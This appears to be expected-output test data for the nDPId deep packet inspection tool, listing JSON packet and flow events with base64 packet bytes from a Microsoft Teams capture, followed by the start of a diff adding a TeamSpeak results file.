+00425{"flow_id":84,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2742,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":124090,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGxp3AqAEGKE+KKeyYAbtVmTggYaqK54AQD60AmQAAAQEICjCE5v4L9mY4"} +00674{"flow_id":84,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2745,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":161437,"pkt_caplen":248,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":248,"pkt_l4_len":214,"pkt":"EBMx8Tl2KDc3AG3ICABFAADqAABAAEAGxefAqAEGKE+KKeyYAbtVmTggYaqK54AYEACwDQAAAQEICjCE5yIL9mY4FgMDAEYQAABCQQRk8tbv6LeIp5gvcVYSxbCbmrbJQXr2V6WVIW9RSbM5ImfOurPDyt+oH5YG9KbvRr8hl3+B0iut5oQYoLu9t8+7FAMDAAEBFgMDAGCeLHdUZZ7GAv2JeIoTdx\/rO7Ic8\/2f7pPTu1lbX1y63KilM+TATij0QmDKUBbqXyQZKpaV4t6wCKADr7Wj93PHQ5b6xqlbnJHh6TgWE9tCVuUaVY+AeAvLTWQIHeMynf4="} +00575{"flow_id":84,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2746,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":192237,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"KDc3AG3IEBMx8Tl2CABFAACfX+tAAG4GOEcoT4opwKgBBgG77JhhqornVZk41oAYBARoXwAAAQEICgv2Zn4whOciFAMDAAEBFgMDAGCBuVC\/T2rq99KYQBtaZ6auSviulGhAjILc6MEt1qo75gJZV6zYvdzGwYkgsi33Sttx+cXsDaengjJqcN\/wUT3dgs+mfVctteiVd4mK5Y808w0Xtsmk3O3+43rDaBw\/1Ys="} +00386{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2753,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":412826,"pkt_caplen":60,"pkt_type":34969,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWriJklgAAA2A0X1lWrAACAAADYDRfWVauACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00158{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2753,"source":"teams.pcap","alias":"nDPId-test","type":34969} +00781{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2754,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":427096,"pkt_caplen":321,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":321,"pkt_l4_len":287,"pkt":"\/\/\/\/\/\/\/\/2A0X1lWrCABFAAEzETJAAEARZ9\/AqAAB\/\/\/\/\/wBEAEMBHwAAAQEGANGFbXcAAIAAAAAAAAAAAAAAAAAAAAAAANgNF9ZVqwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEBNwIBAwwJVEwtU0cxMTZFPAlUTC1TRzExNkU9BwHYDRfWVav\/"} +00546{"flow_id":80,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2755,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":540741,"pkt_caplen":152,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":152,"pkt_l4_len":118,"pkt":"KDc3AG3IEBMx8Tl2CABFAACKzoQAADURKRxdR27NwKgBBj\/Mw2AAdvoBgMkACwAAdOzKWqyy7khbuMy2CPAOdSlm9vfV\/zA8Fjk6DoSrzk1YoR3CjL6fRwBFxfILywlH\/e+ZsaLsnUb0kk1pdZ8vvvffelHLEDAb56eIg0Fd5N31Iq33qt+Cl3MrgAAAALb8aZ7glFC0uQE="} +00543{"flow_id":80,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2756,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":591500,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"KDc3AG3IEBMx8Tl2CABFAACI1P8AADURIqNdR27NwKgBBj\/Mw2AAdIEuAAEAWCESpELLiCydeYhToi1VX7EABgAJRlkzMjpvNS9JAAAAgHAABAAAAAcAJAAEbv\/9\/oApAAgAAH\/tXgWOAIAzAACANwAEAAAAAgAIABT7q3YVkpLtqIBDQ4idBK1C1vp3woAoAASNt2uk"} +00456{"flow_id":81,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2760,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":604150,"pkt_caplen":88,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":88,"pkt_l4_len":54,"pkt":"EBMx8Tl2KDc3AG3ICABFAABKHYAAAEARz2DAqAEGXUduzcN0P80ANmsVj84ABwAA5ltKwaXSuIo5xp1Mj3jnyAE4NEe2i8T7sf+AAAAAGmJ5GWX+DBatLA=="} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2761,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":611318,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2761,"source":"teams.pcap","alias":"nDPId-test","type":38} +00648{"flow_id":71,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2762,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":617344,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"EBMx8Tl2KDc3AG3ICABFAADW2xEAAEARrlfAqAEGNHL6jcNhDZYAwt8iAAMApiESpEINQAd8TvBOvXDWMxoADwAEcsZLxoAIAAQAAAAGAA0ABAAAAACAUAAEAAAAAQAUABQ+mj9JKfg8kAiQ47rNqp++2YC3UgAVAAoicnRjbWVkaWEiAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8AAgAILegjOD1prOmcIML6MAq3Q5voM\/8\/Vbx8\/OHsgTOe6Dx"} +00444{"flow_id":80,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2763,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":617788,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"EBMx8Tl2KDc3AG3ICABFAABC4dsAAEARCw3AqAEGXUduzcNgP8wALqScgMkABQAA5looGQQtzyCqRiLs2mAILrHggAAAAIzs+vyI2S6eRnE="} +02044{"flow_id":80,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2764,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":617801,"pkt_caplen":1256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1256,"pkt_l4_len":1222,"pkt":"EBMx8Tl2KDc3AG3ICABFAATab+wAAEAReGTAqAEGXUduzcNgP8wExulzgMkBKwAA5lpsDx4xU6SHE\/lu1cbeWFc6naonT4JAuuoZuxzI2sow1YFjz\/bN9xje4nS4yGtK00hDpzDL30dBZsmDCgne5kA+GN7AB2rifeH85TWum9Ym\/tooPmTKi3RcSOyfHYutcmofKWKT6s5HQ0fhH3Z6TEwNM2mVI03jCxYraV2r9+r5vX2roR9dDhYZCtVYnoe2G94imh042ouKgMpu\/PMbneFIAUoIzKFlb4+KVdOQi9CqtSXinHYzN36ema5KYQpc1KyqvWCh55IReBkkf6eXTLqqSI6dTY6hZFgWciY5RYQ99JlURiHAJmhbQCRd7pQy9wAMJ3Dnv7MNtqksN+FOQwHUroTwANyMahHw5ah6ol+IhGg0tCOZU15M2KXffB2FHYXsLZhb9DdAb2qruuCuBo5bKggCZkeu6pQBS89aR5KgMU6ytD3htUIcxm7sAn89EmzHwqHEosUqx7BKyXmBTAXIz8JPiWv4VXpinCTtxDlo4SXifwylOdC+0SNYYJkWZzihLlaFHygFs2vHgi0K9WD\/oXvHIXSuuSTK2uxSj1jG8bJL2ykEEIxDyRFtdGh\/ZE+wftE\/mQ9YXajIN01\/z5xd2TdxJ0XFoYpjBA9wx2VkHjJOrAnh+sS74cNKz4juprWtOva9feBFvVQ2uTErBycBhDWnXY7mNb758ZVjfw29b82kC6yxlDX8dlXihl5NMKEZ\/fCkQXLDgFAGqlpUrD4YEvyEhCkoLyVGJNr5DnFltRPr75k4W1UHlJ4hsnM96fngXx1PRBKQxtntySydf\/gewnTwKpCJ8\/juYQd2cFLFENXsYY0fwFh2HyqUUXe8HKSkkeqSwdNLCW4SXakZRfCCfmRstuKJ+gtEoyR0bBA7yiN7oxZy0k\/tJgXCtVHO+dYMPxJ8U+Zf\/ERaIb9VcqVayqmjK7lYUYQlzr5xtjIN\/y0BnFwqnCVWK017RciqG4gAJJWDvcipvgXrLv+WM7\/tYsOzW\/qf5M22Wa\/bJs6LLzWeKJU7KuB3je3ekpHAgCGd6vhl4mmLHuyOJ2bQjGOBKgDEP+8zAn\/xVpFQp4pSUFWWTAOYY86A9jXXifGlGdfKSBIRj\/N7atpZUjpXIWN\/lbvz5PUw4ARDgWv2vNavHz0cekm1PzRbGRDiPVIF7xSamOQ8dimSWFLS7fiHfvE9z+Tn\/yKWVVYf5xtDBW8FR2DNl8k7005dCen26fidZ7EVGcXBoxCWAAl1+Gq23N9F9uql\/K43EHmfqI5N8AkOMCeCNZ3pAxfN0oPKGpjfR5ccfWU1eot6BRyBYU07SODDhNtU1JtVCI53CZfa64aKe13fJU4CW+tdR9bUMGuyvOtjXg\/1K9e3w6ZaYqdgp1xWudLj0ck5PlQ74yF50ptQb375kNBzIJn1Hbj013yqUM5\/A7z2NgaYTw1hPuYNkfagxRT1lhzj\/sbPqPshs89+pGA6B9WlovHvPUJG9OLlaXw4YEkUlGuNBUMdBG15ZKU2BXf0h+ZSUw79WtohyoMCIfVTG+ydvas7vDDIrwS3noXqCCRMOk26U0AffjXMPbLbB8QQLVPEQD1SOSr+39h6G5W1ha3VeQ4FgAAAAeAuqGnJ7B5kI8U="} +02040{"flow_id":80,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2765,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":617826,"pkt_caplen":1256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1256,"pkt_l4_len":1222,"pkt":"EBMx8Tl2KDc3AG3ICABFAATae2IAAEARbO7AqAEGXUduzcNgP8wExoSUgMkBKwAA5lrJLZgVPA0x9\/Ak0gXdsUJRceCTjz3PuRUPmAV78wFmDZkhlnERaBeQZTpXK7bb\/ZH2EdSRPwMpfg3keJ58F4NQW+eV73UAjqTTnUBcDAv4nztEOLvuqB+OuNNskceTT8J7XXNMIpnjNsBafsA15HhMWLJaTdLNJtYKxyGCuP1VHuGj+r0Sw8IL4\/l8CXmZ2YSMG\/JXV31DGroywkc5SLibL6tUGhgUNTM9EyJ3F6vXgq9CwLKp4El4q5iXjQyPZPdko\/XT+rXs3DmTySkPluXO97qvFJADso\/8EZbcYND++Hol2E0eGRWcqUYVhXKl6eto\/rOtNHC451D+lCLNPyd5NpgXFwGBbGvjzLFOR+ar+fgxtOOWcBpZfxr97EamwQ78f3XF4tXmtiVMV4IZU\/QB\/t5IBKVFJBryw9fHaodywEBQirqg1SqRFeQeBk5FzDTKm3N7fmuuTmxvAVjS7XIOvD8eq4KUrPejRpMwDJ\/f5O2dFeBVCSvt7BOneZRjxfJPvUBLFqqsVbRshIFGF9x2dGPFE6lpi7JIzhS4bN5efAHfWQucmHyMmWgeifrr7ErMUkIT8aJzIkTuXYe5hJmB\/z6RlF14OrhD67zleJHeO8g69SbdnyfWIYgAwYy2h5IInehvzD9mSoMmMf3602PdTBLaKaiyoeCcWEZIwkWEcfXM620bAzyDuDDM7ApjYN\/5x5YoCj0dfw3GHGZADAIszp14jYwX1iwT9tAu3yjXNHx7khS\/tbMQUF4q2az6FFcm0PS\/+qmcYsSx3cV7Z9IE0s85tnkXHyt+QxoAKaj4E1rVE1DTJTvEDp2NP6zcLKH6HDxjOqKRNc3rNv4xPzyidKQCH5YMzM4omH5JtzeyfgMhlyWUz9DjzAVtcjLInCJP5M96JlK1AafIqKkoFOqVR1nccfWFvPH7oF8im2KRr+bfIoJCLvbtqfadTbYXNuGKkpf+T8Daa3aN598fQt4lebspWWyj+hL3MvHqO9a0LS9kXdoJ5PXDUKjMnUDUAhIKq6tPlnBz+aBDmyu68zxLDJRcLsAX5+TEjy6f3gEfac3trJeU5hy39luehdZFNd+wwlJG2HxtJ7WXUmXTOo8GYGy6fF3bJyvr+25UbtzAFR9tz536T1QiIIM54x\/OT6B55TEl5UvBujxsfFmPOM6E0kyQSAjGPezPNZ7ECAvkGuCgOI2+NqY1OwrHlSFWjIAIe15st5Kcec82qv1Xjqrj1teCXNpFr8erfFbrNsyW3qiEIqSG48TeN2bP9AUHSIFxDK1A0GrG4VCWiC25uQBGPm2n7YnEOTbvJdHlnw4Wudkk1HhECOyrQhed5OqGtk6BqjAVRMV\/5y895yJn8U9SloFoPNb538uegseNseABC8atFUO8nTyX+rPC0KklbhzUxRJ92ZSEK2V99cuFw+LEvM\/9osmUOWMvrOqTF2taeFSZBxKuej\/7molrThcqLQMKoJgnjpVMurXpzk9uNuZetKRCs47i2AikShegzcyro\/UcnnUaChxa3F57u9EihqryxV1pfnonBIM1jDU5+0fDvcQFQwVL8Rdxv4p\/be2RjKyH4+cnxm\/KgAAAAq6K4T8PVd6LFAo="} +00480{"flow_id":81,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2766,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":619539,"pkt_caplen":104,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":104,"pkt_l4_len":70,"pkt":"EBMx8Tl2KDc3AG3ICABFAABanjAAAEARTqDAqAEGXUduzcN0P80ARteagMkABAAA5lsmU+EIO4Jd\/4VVSEgk4ZreSec3uDuofyQ83QvCKgJVhk3g5k7mDymOgAAAAaxz4Wn0\/8jj7Tk="} +00442{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2767,"source":"teams.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1587041697660,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":85,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2767,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":660621,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"KDc3AG3IEBMx8Tl2CABFoAA40fgAADUBJWpdR27NwKgBBgMDcCsAAAAARQAASh2AAAAyEd1gwKgBBl1Hbs3DdD\/NADaJWQ=="} +00474{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2767,"source":"teams.pcap","alias":"nDPId-test","flow_id":85,"flow_packet_id":1,"flow_first_seen":1587041697660,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"93.71.110.205","dst_ip":"192.168.1.6","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00592{"flow_id":71,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2768,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":663187,"pkt_caplen":187,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":187,"pkt_l4_len":153,"pkt":"KDc3AG3IEBMx8Tl2CABFAACtfJsAAGwR4PY0cvqNwKgBBg2Ww2EAmWC+AQMAfSESpEINQAd8TvBOvXDWMxoADwAEcsZLxgANAAQAAAAAAAEACAABDZg0cvqNgAgABAAAAAaAIAAIAAHME3GnagqAUAAYLOxJmLF8a9P8QJMpg69OprVoITMAAAAAgCIACTIuMC4xLjIxMQAIACBXZEEobQtnwOsCYr30FXefykLuRj2+vxB\/THVizwWzVA=="} +00543{"flow_id":80,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2769,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":668816,"pkt_caplen":150,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":150,"pkt_l4_len":116,"pkt":"EBMx8Tl2KDc3AG3ICABFAACILyMAAEARvX\/AqAEGXUduzcNgP8wAdKAIAAEAWCESpEJpNUW874Cqp91dCQQABgAJbzUvSTpGWTMyAAAAgHAABAAAAAcAJAAEbv\/+\/4AqAAgAAH+KUoZYAIAzAACANwAEAAAAAgAIABSrJHBh7YcwQRz+xslFJPGEt4fI4oAoAAQWqXBo"} +00648{"flow_id":73,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2770,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":668978,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"EBMx8Tl2KDc3AG3ICABFAADWXowAAEARKuHAqAEGNHL6icN1DZYAwtlEAAMApiESpEJ\/K8mw63L1SVFc8SkADwAEcsZLxoAIAAQAAAAGAA0ABAAAAACAUAAEAAAAAQAUABRzrT6HZUT09MBbGfgrZXo06YoDbQAVAAoicnRjbWVkaWEiAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8AAgAIBF1x2DO\/FnH+NItZ0DdGmNq9Qpo8WCUVFVIxiEnjM\/h"} +00647{"flow_id":72,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2771,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":669056,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"EBMx8Tl2KDc3AG3ICABFAADWQkgAAEARRyXAqAEGNHL6icN0DZYAwvo0AAMApiESpEKq36JSlpzO4UFUsSMADwAEcsZLxoAIAAQAAAAGAA0ABAAAAACAUAAEAAAAAQAUABQ8rv9B5PDVn2ggKA0vFJP4sPMSAAAVAAoicnRjbWVkaWEiAAYAOAIAACSQoNvbAdYZTeIVN7\/JkqADMnMa8b7cVproO9WrAAAAAL9xsnbJeBOo3e\/rXLx5Oid6TOY8AAgAIMgHBX+t\/XNKPsdtlpAIVsPeBDDuW\/3OC5VvHSABRDTj"} +00498{"flow_id":80,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2773,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":671802,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"KDc3AG3IEBMx8Tl2CABFAABlk\/cAADURY85dR27NwKgBBj\/Mw2AAUZjdkGg9EgleGUgAAHTsvt4AARKGkmBAR7apLL2NaEeL+wrY+tF3wd8\/xqTTl+bYW8pH+25dWXaHopKg6FqOsrw1czRCD5j2jR6V3w=="} +00433{"flow_id":85,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2774,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":673040,"pkt_caplen":70,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":70,"pkt_l4_len":36,"pkt":"KDc3AG3IEBMx8Tl2CABFoAA4akMAADUBjR9dR27NwKgBBgMDcBsAAAAARQAAWp4wAAAyEVygwKgBBl1Hbs3DdD\/NAEaJWQ=="} +00449{"flow_id":80,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2775,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":673792,"pkt_caplen":80,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":80,"pkt_l4_len":46,"pkt":"KDc3AG3IEBMx8Tl2CABFAABCxvIAADURMPZdR27NwKgBBj\/Mw2AALmUCgMkABQAAdOyunrWZXbYN\/Vl+Ik3K\/wMCgAAAAca5CAqZNW\/6ojY="} +02051{"flow_id":80,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2776,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":676447,"pkt_caplen":1256,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1256,"pkt_l4_len":1222,"pkt":"KDc3AG3IEBMx8Tl2CABFAATa6dkAADURCXddR27NwKgBBj\/Mw2AExilggMkBKwAAdOzsa5K8UoqAgMkd6DyrDFM5Z5ls+wHmur1BhbBuUi5o3AHNCpvPNXoPapE6jrC+JzT+SZK8D06h9KkWZnNZ0to+rDxXAL8qfeNCyQf8VSQ0AntLdH\/K59E3hXZoxKxbgv5xmpBpN4h1DRb9ss3Zw9lHvXc\/zsARlFA3rTxVvmG8JuxQyZ11l2MiBj9O9PdNIgqmQ1X\/t8VvsmcP+oaVyL3Rye4vON7N9\/i3GQfK6jefXyT1F\/FReir67ocbsdrX4arGdGCd4Z7JejYiBJDSTjGNHiAnz7fAVLR2qqJL4\/Sd8X8dQV+r3yS+02htPEKHVN9cxfg\/OrSm57mPr52PrYaZ7ojRC3fnjoDXQu9PKKdBMNxw2ArNdoz0fpib6VWO\/EXu8gg09eqHwBEubXujZe+W8VKaLv\/4JLWNuhjLYaYTayQdmWDR\/ghya9BFOZMgbQTqjCeK5p0rW7VJ84jhVQ0JrJEtvM7SR3GN6Aksfur8vluQMNljEf0pe4ZXLIkwKxbUw2XInUe\/MrWGHIrq72jgjiaeuCLdP9pTVb23+PswDjwfr24AhxZxhkjRbp5SqjFwht1aWh0EXq3HsBzNii+irNEd6Pb7dvdE\/xlAVPTYMjZRBlTGv7elYyfGxw9YcKOu\/mcnyL2wusZdMc\/2lW0e\/\/s70KlhN4cSdg9+68j9qKCKCjrk5ts8OacUCq6sdwpP93U\/vaeEBHyR47Tzyfv1Jimai1ElwYHqr9C4C5ZMSfglAU97+eT9jCQG6NLM4gCbt+557epmUASqswbBeTk\/nN5weW6zTNPFW2iB9hYQxGa1WOY2dnVWQ06fxh08sjwfySpW5jTPNnpJa+ebIDJ1gmhlQom6TSavGEaLMnUlBSh40YzBoSITQ6\/hPa6QMANwcufrSnM9lfVHtQcxEQUmXywUAOQss+xImJic9lANftI7cg53ol9psrYwRvwIP6sJl9ct990QvLyQHF0+BGcKIQaVCLLS8z5Vq7PNqxYl0pZXe6VJ4fVCVoUBgYAs5oSxFmGHh5UnV7TXlPgZfuAWfZR70M3xVymqw6DLqU25r\/DNfjLFP37YjFuvJEGlAsHex+mfPYAR1UcKjdn3O1LchDrKOblh1YKg7ZVE7mAzkAi\/1nM3ZZfXZ7nGnqyWZEE6SeX9J8d557nRzBbgKQfX8b6QyIipZQHaKYLT1uCeQuHhoeOi9nka4DyXixxciPGXsP3CYn8rMacQg+2nCZtkAzyP643oGuCmv4OoP\/dPKqpk\/G67Lpw5G55kJ0UbCgi6jUrG7bVFWMuv8L\/JEjEuNlGyMphzfPfmlXefF647EGhTXLymFznu95xGlhre0omC5\/AvhztRX7vR8nN372CvUepGLo\/oMN5Jb6zz2V8i2oXn8NMp5kLbZxjRl0ZjFk3uRvayyWBSNvfY\/nxbVl9cjJOWlDhjRo0LH5FrIx+L08J\/U01uek5LCClDUdc9KzE1t7PZL1\/sNf+f1xp5CANozF\/uu+\/QNRdgulBTdfDW6IKj8XEvdzIHuOEs9UL2y8mbR7h1NTWsZfYTDiwy11ObRF6CUkaZP08bUDvAfGLcVYzBXFUCQZOJgAAAAg7rLYYXyWxwhDw="} +00592{"flow_id":72,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2784,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":713165,"pkt_caplen":187,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":187,"pkt_l4_len":153,"pkt":"KDc3AG3IEBMx8Tl2CABFAACtVxwAAGwRBno0cvqJwKgBBg2Ww3QAmStwAQMAfSESpEKq36JSlpzO4UFUsSMADwAEcsZLxgANAAQAAAAAAAEACAABDZg0cvqJgAgABAAAAAaAIAAIAAHObHGnagqAUAAYmiULR7BQSjV7GJ7mOy6WXuQ5anUAAAAAgCIACTIuMC4xLjIxMQAIACBb+0dO7XG7sUjMCcGQZhDcW3hrI\/E2Bu3cGSpxYdsKow=="} +00594{"flow_id":73,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2785,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041697,"pkt_ts_usec":714311,"pkt_caplen":187,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":187,"pkt_l4_len":153,"pkt":"KDc3AG3IEBMx8Tl2CABFAACtVx0AAGwRBnk0cvqJwKgBBg2Ww3UAmdF8AQMAfSESpEJ\/K8mw63L1SVFc8SkADwAEcsZLxgANAAQAAAAAAAEACAABDZg0cvqJgAgABAAAAAaAIAAIAAHAaHGnagqAUAAYaOUMdiD0+ug9lexVR\/3YR6\/W6KUAAAAAgCIACTIuMC4xLjIxMQAIACDm9keelgh3gAU1t68wEkZCoxEf5LkRAoAG52M5NOQtKg=="} diff --git a/test/results/teamspeak3.pcap.out b/test/results/teamspeak3.pcap.out new file mode 100644 index 000000000..b8268955b --- /dev/null +++ b/test/results/teamspeak3.pcap.out @@ -0,0 +1,15 @@ 